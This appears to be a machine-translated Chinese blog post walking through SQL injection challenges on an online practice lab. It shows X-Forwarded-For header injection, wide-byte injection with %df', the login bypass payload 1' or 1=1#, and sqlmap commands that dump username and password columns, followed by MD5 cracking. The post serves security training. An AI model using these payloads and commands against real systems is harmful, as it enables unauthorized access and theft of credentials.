当前位置:网站首页>Web security SQL injection vulnerability (1)
Web security SQL injection vulnerability (1)
2022-07-06 02:53:00 【Half a watermelon】
SQL Injection principle : Some malicious users , In the process of submitting the query request take SQL Insert the statement into the request content , At the same time, the program itself believes too much in the content entered by the user , There is no user inserted SQL Statement for any filtering , Which leads to SQL The statement is directly executed by the server .
The content of the test :(1) forge http Header file injection .
(2) Exploitation of wide byte injection vulnerability
(3) Login with any password , Construct statement bypass
(4) Make changes to the login page sql Injection test
test machine :kali link :https://pan.baidu.com/s/1ZKvP-CFYcmhFw3ol5ul4bg
Extraction code :tian
The range is : Murdoch College's online shooting range : Mohist College _ Focus on network security personnel training
1. By forging http Header information , Bypass the server for ip Address restrictions , Find the injection point again Get your account number and password .
First step : Go to the login page .
The second step : Just enter an account and password .
Found login failed .
The third step : use Burp Grab the bag .
add to :x-forwarded-for:1.1.1.1
It is found that the added address is returned 1.1.1.1( explain : Here you are SQL Inject )
Step four : add to :x-forwarded-for:* Save as txt file .
Step five : use sqlmap scanning The saved 1.txt file .
command :sqlmap -r /root/1.txt --batch --current-db
【--batch 】: Default sqlmap Proposed by the tool ( whether ) by :y 【--current-db】: Display the current database in use .
find x-forwarded-for The injection point of
Step six : Look at all the tables in the database .
command :sqlmap -r /root/1.txt --batch --tables -D "webcalendar"
【--tables -D "webcalendar"】: hold webcalendar All the tables in the database are displayed .
Find out webcalendar There are two tables in the database .
Step seven : View all the lists in the table .
command :sqlmap -r /root/1.txt --batch --columns -T "user"
【--columns -T 'user'】: hold user All the columns in the table are displayed .
Find out user There are three rows in the table .
Step eight : View the contents of the list
command :sqlmap -r /root/1.txt --batch --dump -C "username,password"
【--dump -C "username,password"】: hold username and password The contents of the column are displayed .
You can see that the contents are account and password .
Step nine : If you have an account and password to log in, you can get flag .
2. Login interface exists sql Wide byte injection vulnerability , Try entering special characters , Make the page report an error , Verify its existence sql Inject , Then use the wide byte injection vulnerability to find the login account and password .
First step : Go to the login page .
Tried to fill in the account and password casually , I can't find out . Then view the page source code , Found a hyperlink .
The second step : Text hyperlink here, then click .
Come to the injection page .
The third step : Input %df', Make the page report an error . ( Verify presence SQL Wide byte injection vulnerability )
SQL Principle analysis of wide byte injection : addslashes() This function will ' Escape to \
gbk When coding %df and \ The coding %5c Merge into one character
thus ' Can escape
Step four : Use sqlmap(sqlmap Medium and wide byte plug-ins )
command :sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --dbs
【--tamper=unmagicquotes.py】 yes :sqlmap Wide byte plug-in in 【--dbs】 yes : Display all databases .
Find a 5 A database .
Step five : see mozhe_discuz_stormgroup All the tables in the database .
command :sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --tables -D "mozhe_discuz_stormgroup"
【--tables -D "mozhe_discuz_stormgroup"】: hold mozhe_discuz_stormgroup All the tables in the database are displayed .
Find two tables ( noticw and stormgroup_member ).
Step six : Look at these two notice ,stormgroup_member What's in the table
command :sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --columns -T "notice,stormgroup_member"
【--columns -T "notice,stormgroup_member"】: hold notice and stormgroup_member All the columns in the table are displayed .
find notice and stormgroup_member Columns of the table .
Step seven : We found that stormgroup_member There are columns of account and password in the table , All we look at stormgroup_member The content of
command : sqlmap -u "http://219.153.49.228:42218/new_list.php?id=1" --tamper=unmagicquotes.py --batch --dump -C "name,password"
【--dump -C "name,password"】: hold name and password The contents of the column are displayed .
Find the account and password ( Password is md5 Encrypted )
Step eight : use md5 Just decrypt it .( Then log in with your account and password )
3. Any password exists in the login interface , Construct statements to bypass server-side validation , And log in successfully .
First step : Go to the login page .
The second step : Test for presence Login with any password , All of us use universal passwords .
(1) Enter... In the account number :1' or 1=1#
(2) password : Enter it casually or leave it blank
Login successful ( Get flag ):
4. Make changes to the login page sql Injection test , Get the account and password of the current database .
First step : Click the location of the hyperlink .
Incoming page , Found links with ?id=1
The second step : use sqlmap Tool to find out if there is SQL Loophole
command : sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --current-db
【--batch 】: Default sqlmap Proposed by the tool ( whether ) by :y 【--current-db】: Display the current database in use .
Find four injection points and The name of the current database .
The third step : see mozhe_discuz_stormgroup All the tables in the database .
command :sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --tables -D "mozhe_discuz_stormgroup"
【--tables -D "mozhe_discuz_stormgroup"】: hold mozhe_discuz_stormgroup All the tables in the database are displayed .
find mozhe_discuz_stormgroup Two tables in the database .
Step four : see stormgroup_member All the columns in the table
command :sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --columns -T "stormgroup_member"
【--columns -T "stormgroup_member"】: hold stormgroup_member All the columns in the table are displayed .
find stormgroup_member The table has three columns .
Step five : see name and password The contents of these two columns .
command :sqlmap -u "http://219.153.49.228:49655/new_list.php?id=1" --batch --dump -C "name,password"
【--dump -C "name,password"】: hold name and password The contents of the column are displayed .
Find the account and password ( Password is md5 Encrypted )( The account number and password are also the same as The second question is As like as two peas )
Step six : use md5 Just decrypt it .( Then log in with your account and password )
边栏推荐
- 纯Qt版中国象棋:实现双人对战、人机对战及网络对战
- My C language learning records (blue bridge) -- files and file input and output
- [Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 23
- Gifcam v7.0 minimalist GIF animation recording tool Chinese single file version
- 【 kubernets series】 a Literature Study on the Safe exposure Applications of kubernets Service
- [Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 9
- 【若依(ruoyi)】ztree 自定义图标(iconSkin 属性)
- Solution: attributeerror: 'STR' object has no attribute 'decode‘
- [Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 20
- MySQL winter vacation self-study 2022 11 (7)
猜你喜欢
不赚钱的科大讯飞,投资价值该怎么看?
Network Security Learning - Web vulnerabilities (Part 1)
XSS challenges绕过防护策略进行 XSS 注入
What is the investment value of iFLYTEK, which does not make money?
力扣今日题-729. 我的日程安排表 I
Yyds dry inventory comparison of several database storage engines
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 18
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 21
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 13
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 8
随机推荐
MySQL learning notes-10-tablespace recycling
My C language learning record (blue bridge) -- on the pointer
Summary of Bible story reading
【Unity3D】GUI控件
有没有完全自主的国产化数据库技术
【若依(ruoyi)】启用迷你导航栏
【 kubernets series】 a Literature Study on the Safe exposure Applications of kubernets Service
Follow the mouse's angle and keyboard events
07 单件(Singleton)模式
Technology sharing | what if Undo is too big
js 正则过滤和增加富文本中图片前缀
XSS challenges bypass the protection strategy for XSS injection
[Yu Yue education] basic reference materials of digital electronic technology of Xi'an University of Technology
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 20
RobotFramework入门(三)WebUI自动化之百度搜索
4. File modification
I sorted out a classic interview question for my job hopping friends
Add one to non negative integers in the array
[Yunju entrepreneurial foundation notes] Chapter II entrepreneur test 24
[matlab] access of variables and files